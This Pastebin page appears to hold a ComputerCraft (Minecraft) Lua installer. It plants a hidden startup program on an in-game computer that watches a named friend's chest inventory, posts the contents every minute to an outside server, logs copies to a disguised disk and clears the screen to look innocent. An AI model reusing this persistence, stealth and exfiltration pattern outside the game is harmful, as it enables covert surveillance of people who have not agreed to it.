Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- ComputerCraft Spy Base Installer
- -- Run this with: pastebin run <code>
- print("=== SUPER SECRET SPY INSTALLATION ===")
- print("Setting up covert surveillance...")
- print()
- -- Get friend's name
- print("Which friend's base are we spying on?")
- print("Examples: owlus, steve, alex, etc.")
- write("Friend's name: ")
- local friendName = read()
- if friendName == "" then
- print("ERROR: Need a friend name for the spy operation!")
- return
- end
- print()
- print("Scanning for inventory to monitor...")
- -- Get all connected peripherals
- local allPeripherals = peripheral.getNames()
- local inventoryPeripherals = {}
- print("DEBUG: Found " .. #allPeripherals .. " peripheral(s):")
- -- Standard inventory types to look for
- local inventoryTypes = {
- "inventory",
- "minecraft:chest",
- "minecraft:barrel",
- "minecraft:shulker_box",
- "minecraft:hopper",
- "minecraft:furnace",
- "minecraft:blast_furnace",
- "minecraft:smoker"
- }
- -- Check each peripheral
- for _, name in pairs(allPeripherals) do
- local types = {peripheral.getType(name)}
- local typeStr = table.concat(types, ", ")
- print(" " .. name .. ": " .. typeStr)
- local isInventory = false
- local confidence = 0
- local reason = ""
- -- Check if it has known inventory types
- for _, invType in pairs(inventoryTypes) do
- if peripheral.hasType(name, invType) then
- isInventory = true
- confidence = confidence + 50
- reason = reason .. invType .. " type; "
- break
- end
- end
- -- Check for inventory-like methods
- local methods = peripheral.getMethods(name)
- local inventoryMethods = {
- "list", "size", "getItemDetail", "pushItems", "pullItems",
- "getItems", "getAllItems", "getStackInSlot", "getItem"
- }
- local foundMethods = {}
- for _, method in pairs(methods) do
- for _, invMethod in pairs(inventoryMethods) do
- if method == invMethod then
- table.insert(foundMethods, method)
- confidence = confidence + 10
- isInventory = true
- end
- end
- end
- if #foundMethods > 0 then
- reason = reason .. "methods: " .. table.concat(foundMethods, ", ")
- end
- if isInventory then
- table.insert(inventoryPeripherals, {
- name = name,
- types = types,
- confidence = confidence,
- reason = reason,
- methods = foundMethods
- })
- print(" -> INVENTORY DETECTED (confidence: " .. confidence .. "%) - " .. reason)
- end
- end
- -- Use peripheral.find to also search for standard inventory types
- print()
- print("Using peripheral.find for additional detection...")
- for _, invType in pairs(inventoryTypes) do
- local found = {peripheral.find(invType)}
- for _, wrapped in pairs(found) do
- local name = peripheral.getName(wrapped)
- local alreadyFound = false
- for _, existing in pairs(inventoryPeripherals) do
- if existing.name == name then
- alreadyFound = true
- existing.confidence = existing.confidence + 25
- existing.reason = existing.reason .. "peripheral.find(" .. invType .. "); "
- break
- end
- end
- if not alreadyFound then
- table.insert(inventoryPeripherals, {
- name = name,
- types = {peripheral.getType(name)},
- confidence = 75,
- reason = "peripheral.find(" .. invType .. ")",
- methods = peripheral.getMethods(name)
- })
- print(" Found additional " .. invType .. " at " .. name)
- end
- end
- end
- -- Sort by confidence and select best option
- table.sort(inventoryPeripherals, function(a, b) return a.confidence > b.confidence end)
- local inventorySide = nil
- if #inventoryPeripherals > 0 then
- print()
- print("Inventory peripherals found (sorted by confidence):")
- for i, inv in pairs(inventoryPeripherals) do
- print(" " .. i .. ". " .. inv.name .. " (" .. inv.confidence .. "%) - " .. inv.reason)
- end
- -- Auto-select the highest confidence one
- inventorySide = inventoryPeripherals[1].name
- print()
- print("Auto-selected: " .. inventorySide .. " (confidence: " .. inventoryPeripherals[1].confidence .. "%)")
- -- Give user option to override
- if #inventoryPeripherals > 1 then
- print("Use this inventory? Or enter number to choose different one:")
- print("Press Enter for auto-selection, or type 1-" .. #inventoryPeripherals .. " to choose:")
- write("> ")
- local choice = read()
- if choice ~= "" then
- local choiceNum = tonumber(choice)
- if choiceNum and choiceNum >= 1 and choiceNum <= #inventoryPeripherals then
- inventorySide = inventoryPeripherals[choiceNum].name
- print("Selected: " .. inventorySide)
- else
- print("Invalid choice, using auto-selection: " .. inventorySide)
- end
- end
- end
- else
- print()
- print("ERROR: No inventory peripherals found!")
- print("Available peripherals:")
- for _, name in pairs(allPeripherals) do
- local types = {peripheral.getType(name)}
- print(" " .. name .. ": " .. table.concat(types, ", "))
- end
- print()
- print("Manual override - which peripheral should I monitor?")
- print("Enter peripheral name (or press Enter to quit):")
- write("> ")
- local manualChoice = read()
- if manualChoice ~= "" and peripheral.isPresent(manualChoice) then
- inventorySide = manualChoice
- print("Forcing monitor of: " .. inventorySide)
- else
- print("No valid peripheral selected. Exiting.")
- return
- end
- end
- print("Will monitor inventory on: " .. inventorySide)
- print()
- -- Check for disk drives for local logging
- print()
- print("Scanning for disk drives for local logging...")
- local diskSide = nil
- local diskPath = nil
- -- Find disk drives using peripheral.find
- local diskDrives = {peripheral.find("drive")}
- if #diskDrives > 0 then
- for _, drive in pairs(diskDrives) do
- local driveName = peripheral.getName(drive)
- print("Found disk drive: " .. driveName)
- if disk.isPresent(driveName) then
- if disk.hasData(driveName) then
- diskSide = driveName
- diskPath = disk.getMountPath(driveName)
- print(" Disk mounted at: " .. diskPath)
- break
- else
- print(" Disk present but no data (music disk?)")
- end
- else
- print(" Drive empty - insert a floppy disk for local logging")
- end
- end
- else
- -- Fallback: check all peripherals for drive type
- for _, name in pairs(allPeripherals) do
- if peripheral.hasType(name, "drive") then
- print("Found disk drive: " .. name)
- if disk.isPresent(name) then
- if disk.hasData(name) then
- diskSide = name
- diskPath = disk.getMountPath(name)
- print(" Disk mounted at: " .. diskPath)
- break
- else
- print(" Disk present but no data (music disk?)")
- end
- else
- print(" Drive empty - insert a floppy disk for local logging")
- end
- end
- end
- end
- if diskSide then
- print("Local logging will be saved to disk: " .. diskPath)
- -- Set up disk label for our spy operation
- local currentLabel = disk.getLabel(diskSide)
- if not currentLabel or currentLabel == "" then
- disk.setLabel(diskSide, "System_Logs")
- print("Labeled disk as: System_Logs")
- end
- else
- print("No disk found - logs will only be sent to server")
- end
- print()
- -- Create the spy program
- local spyProgram = [[-- Inventory Spy for ]] .. friendName .. [['s base
- -- Auto-generated covert surveillance program
- local API_URL = "https://spy.astr.to/]] .. friendName .. [[/items"
- local UPDATE_INTERVAL = 60 -- seconds
- local INVENTORY_SIDE = "]] .. inventorySide .. [["
- local DISK_SIDE = ]] .. (diskSide and '"' .. diskSide .. '"' or "nil") .. [[
- local DISK_PATH = ]] .. (diskPath and '"' .. diskPath .. '"' or "nil") .. [[
- local MAX_LOG_FILES = 10
- local MAX_LOG_SIZE = 5000 -- lines
- -- Initialize logging
- local function initializeLogging()
- if DISK_PATH then
- -- Create log directory structure
- if not fs.exists(DISK_PATH .. "/spy_logs") then
- fs.makeDir(DISK_PATH .. "/spy_logs")
- end
- if not fs.exists(DISK_PATH .. "/spy_logs/data") then
- fs.makeDir(DISK_PATH .. "/spy_logs/data")
- end
- -- Create config file if it doesn't exist
- local configPath = DISK_PATH .. "/spy_logs/config.txt"
- if not fs.exists(configPath) then
- local config = fs.open(configPath, "w")
- config.writeLine("Spy Operation Configuration")
- config.writeLine("Target: ]] .. friendName .. [[")
- config.writeLine("Computer ID: " .. os.getComputerID())
- config.writeLine("Inventory Side: " .. INVENTORY_SIDE)
- config.writeLine("Started: " .. os.date("%Y-%m-%d %H:%M:%S"))
- config.close()
- end
- end
- end
- -- Rotate log files if they get too big
- local function rotateLogFiles()
- if not DISK_PATH then return end
- local logPath = DISK_PATH .. "/spy_logs/spy.log"
- if fs.exists(logPath) then
- local file = fs.open(logPath, "r")
- local lines = 0
- if file then
- while file.readLine() do
- lines = lines + 1
- end
- file.close()
- end
- if lines > MAX_LOG_SIZE then
- -- Move current log to backup
- local timestamp = os.date("%Y%m%d_%H%M%S")
- local backupPath = DISK_PATH .. "/spy_logs/spy_" .. timestamp .. ".log"
- fs.move(logPath, backupPath)
- -- Clean up old log files
- local logDir = DISK_PATH .. "/spy_logs"
- local files = fs.list(logDir)
- local logFiles = {}
- for _, file in pairs(files) do
- if string.find(file, "spy_") and string.find(file, ".log") then
- table.insert(logFiles, file)
- end
- end
- -- Sort and keep only recent files
- table.sort(logFiles)
- while #logFiles > MAX_LOG_FILES do
- fs.delete(logDir .. "/" .. logFiles[1])
- table.remove(logFiles, 1)
- end
- end
- end
- end
- -- Write to local log file
- local function writeToLocalLog(message, data)
- if not DISK_PATH then return end
- rotateLogFiles()
- local logPath = DISK_PATH .. "/spy_logs/spy.log"
- local file = fs.open(logPath, "a")
- if file then
- local timestamp = os.date("%Y-%m-%d %H:%M:%S")
- file.writeLine("[" .. timestamp .. "] " .. message)
- if data then
- file.writeLine("DATA: " .. textutils.serializeJSON(data))
- end
- file.close()
- end
- -- Also save raw data
- if data then
- local dataPath = DISK_PATH .. "/spy_logs/data/data_" .. os.epoch("utc") .. ".json"
- local dataFile = fs.open(dataPath, "w")
- if dataFile then
- dataFile.write(textutils.serializeJSON(data))
- dataFile.close()
- end
- end
- end
- -- Enhanced logging function
- local function log(message, data, level)
- level = level or "INFO"
- local timestamp = os.date("%Y-%m-%d %H:%M:%S")
- local logMessage = "[" .. level .. "] " .. message
- -- Console output
- print("[" .. timestamp .. "] " .. logMessage)
- -- Local disk logging
- writeToLocalLog(logMessage, data)
- end
- -- Get disk space info
- local function getDiskInfo()
- if not DISK_PATH then return "No disk" end
- local freeSpace = fs.getFreeSpace(DISK_PATH)
- local used = "unknown"
- if freeSpace then
- if freeSpace < 1024 then
- return freeSpace .. "B free"
- elseif freeSpace < 1024 * 1024 then
- return math.floor(freeSpace / 1024) .. "KB free"
- else
- return math.floor(freeSpace / (1024 * 1024)) .. "MB free"
- end
- end
- return "Disk info unavailable"
- end
- -- Function to get inventory data
- local function getInventoryData()
- if not peripheral.isPresent(INVENTORY_SIDE) then
- return nil, "No peripheral found: " .. INVENTORY_SIDE
- end
- local inventory = peripheral.wrap(INVENTORY_SIDE)
- if not inventory then
- return nil, "Failed to wrap peripheral: " .. INVENTORY_SIDE
- end
- local items = {}
- local size = 0
- local accessMethod = "unknown"
- -- Try different inventory access methods
- if inventory.list and inventory.size then
- -- Standard CC inventory (chests, etc.)
- items = inventory.list()
- size = inventory.size()
- accessMethod = "standard"
- elseif inventory.getItems then
- -- Tom's Storage style
- local tomItems = inventory.getItems()
- if tomItems then
- size = #tomItems
- for i, item in ipairs(tomItems) do
- if item then
- items[i] = {
- name = item.name or item.id,
- count = item.count or item.amount or 1,
- nbt = item.nbt
- }
- end
- end
- accessMethod = "tom_storage_getItems"
- end
- elseif inventory.getAllItems then
- -- Alternative Tom's Storage method
- local allItems = inventory.getAllItems()
- if type(allItems) == "table" then
- size = #allItems
- for i, item in ipairs(allItems) do
- if item then
- items[i] = {
- name = item.name or item.id,
- count = item.count or item.amount or 1,
- nbt = item.nbt
- }
- end
- end
- accessMethod = "tom_storage_getAllItems"
- end
- else
- -- Try to get size through various methods
- local methods = peripheral.getMethods(INVENTORY_SIDE)
- for _, method in pairs(methods) do
- if method == "size" or method == "getSize" then
- local success, result = pcall(inventory[method])
- if success and type(result) == "number" then
- size = result
- break
- end
- end
- end
- -- Try to get items by slot scanning
- if size > 0 then
- for slot = 1, math.min(size, 200) do -- Limit to 200 to prevent infinite loops
- local item = nil
- if inventory.getStackInSlot then
- local success, result = pcall(inventory.getStackInSlot, slot)
- if success then item = result end
- elseif inventory.getItem then
- local success, result = pcall(inventory.getItem, slot)
- if success then item = result end
- elseif inventory.getItemDetail then
- local success, result = pcall(inventory.getItemDetail, slot)
- if success then item = result end
- end
- if item and (item.name or item.id) then
- items[slot] = {
- name = item.name or item.id,
- count = item.count or item.amount or item.size or 1,
- nbt = item.nbt
- }
- end
- end
- accessMethod = "slot_scanning"
- end
- end
- -- Get peripheral type info for debugging
- local peripheralTypes = {peripheral.getType(INVENTORY_SIDE)}
- -- Build data structure
- local data = {
- timestamp = os.epoch("utc"),
- computer_id = os.getComputerID(),
- target = "]] .. friendName .. [[",
- inventory_side = INVENTORY_SIDE,
- inventory_size = size,
- access_method = accessMethod,
- peripheral_types = peripheralTypes,
- items = {}
- }
- -- Convert items to array format
- for slot, item in pairs(items) do
- table.insert(data.items, {
- slot = slot,
- name = item.name,
- count = item.count,
- nbt = item.nbt
- })
- end
- return data
- end
- -- Function to send data to API
- local function sendData(data)
- local jsonData = textutils.serializeJSON(data)
- local response, err = http.post(API_URL, jsonData, {
- ["Content-Type"] = "application/json"
- })
- if response then
- local status = response.getResponseCode()
- local body = response.readAll()
- response.close()
- if status == 200 or status == 201 then
- return true, "Data sent successfully"
- else
- return false, "HTTP " .. status .. ": " .. body
- end
- else
- return false, "HTTP request failed: " .. (err or "unknown error")
- end
- end
- -- Function to log messages with timestamp
- local function log(message, data, level)
- level = level or "INFO"
- local timestamp = os.date("%Y-%m-%d %H:%M:%S")
- local logMessage = "[" .. level .. "] " .. message
- -- Console output
- print("[" .. timestamp .. "] " .. logMessage)
- -- Local disk logging
- writeToLocalLog(logMessage, data)
- end
- -- Main monitoring loop
- local function monitorInventory()
- -- Initialize logging system
- initializeLogging()
- log("=== SPY OPERATION INITIATED ===")
- log("Target: ]] .. friendName .. [[")
- log("Computer ID: " .. os.getComputerID())
- log("Monitoring: " .. INVENTORY_SIDE)
- log("Peripheral types: " .. table.concat({peripheral.getType(INVENTORY_SIDE)}, ", "))
- log("Reporting to: " .. API_URL)
- log("Update interval: " .. UPDATE_INTERVAL .. " seconds")
- log("Local storage: " .. getDiskInfo())
- log("=== COVERT MODE ENGAGED ===")
- local scanCount = 0
- local lastAccessMethod = nil
- while true do
- scanCount = scanCount + 1
- local data, err = getInventoryData()
- if data then
- local itemCount = #data.items
- local statusMsg = "Scan #" .. scanCount .. " - "
- -- Log access method changes
- if data.access_method ~= lastAccessMethod then
- log("Inventory access method: " .. data.access_method, nil, "SYS")
- lastAccessMethod = data.access_method
- end
- if itemCount > 0 then
- statusMsg = statusMsg .. itemCount .. " items detected"
- log(statusMsg, data, "SCAN")
- else
- statusMsg = statusMsg .. "inventory empty"
- log(statusMsg, data, "SCAN")
- end
- local success, result = sendData(data)
- if success then
- log("Data transmitted successfully", nil, "NET")
- else
- log("Transmission failed: " .. result, data, "ERROR")
- end
- else
- log("Inventory scan failed: " .. err, nil, "ERROR")
- end
- -- Log disk space periodically
- if scanCount % 10 == 0 then
- log("Disk status: " .. getDiskInfo(), nil, "SYS")
- end
- -- Wait for next update
- sleep(UPDATE_INTERVAL)
- end
- end
- -- Error handling wrapper
- local function safeRun()
- local success, err = pcall(monitorInventory)
- if not success then
- log("CRITICAL SYSTEM FAILURE: " .. err, nil, "CRASH")
- log("Attempting automatic recovery in 10 seconds...", nil, "SYS")
- sleep(10)
- -- Restart the program
- os.reboot()
- end
- end
- -- Hide our tracks - clear screen after 5 seconds
- local function startSpy()
- safeRun()
- end
- -- Give user time to see the startup, then go covert
- parallel.waitForAny(
- function()
- sleep(5)
- term.clear()
- term.setCursorPos(1, 1)
- print("Normal computer operations...")
- print("Nothing suspicious here...")
- print()
- end,
- startSpy
- )]]
- -- Save the spy program
- local file = fs.open("startup.lua", "w")
- if file then
- file.write(spyProgram)
- file.close()
- print("[SUCCESS] Spy program installed as startup.lua")
- else
- print("[ERROR] Failed to write startup.lua")
- return
- end
- print()
- print("=== INSTALLATION COMPLETE ===")
- print("Target: " .. friendName)
- print("Monitoring: " .. inventorySide)
- -- Show peripheral details
- local invTypes = {peripheral.getType(inventorySide)}
- print("Peripheral type(s): " .. table.concat(invTypes, ", "))
- -- Show detection confidence if available
- for _, inv in pairs(inventoryPeripherals) do
- if inv.name == inventorySide then
- print("Detection confidence: " .. inv.confidence .. "%")
- print("Detection reason: " .. inv.reason)
- break
- end
- end
- print("API Endpoint: https://spy.astr.to/api/" .. friendName .. "/items")
- if diskSide then
- print("Local Logging: " .. diskPath .. "/spy_logs/")
- print("Disk Drive: " .. diskSide)
- print("Disk Space: " .. (fs.getFreeSpace(diskPath) or "unknown") .. " bytes free")
- else
- print("Local Logging: DISABLED (no disk)")
- end
- print()
- print("Features enabled:")
- print("- Automatic peripheral detection")
- print("- Multi-method inventory access")
- print("- Real-time inventory monitoring")
- print("- Automatic data transmission")
- print("- Error recovery and auto-restart")
- if diskSide then
- print("- Local data logging and backup")
- print("- Log rotation and space management")
- print("- Structured data archival")
- end
- print("- Stealth mode (hides after 5 seconds)")
- print()
- print("The spy program will start automatically on reboot.")
- print("After 5 seconds, it will hide and look like a normal computer.")
- if diskSide then
- print("Check '" .. diskPath .. "/spy_logs/' for local surveillance data.")
- end
- print()
- print("Reboot now to start spying? (y/n)")
- write("> ")
- local answer = read()
- if answer:lower() == "y" or answer:lower() == "yes" then
- print()
- print("Initiating covert operations...")
- if diskSide then
- print("Preparing local surveillance logs...")
- end
- sleep(1)
- os.reboot()
- else
- print()
- print("Spy program ready. Run 'reboot' when you want to start.")
- if diskSide then
- print("Logs will be saved to: " .. diskPath .. "/spy_logs/")
- end
- print("Remember: Act casual around " .. friendName .. "!")
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement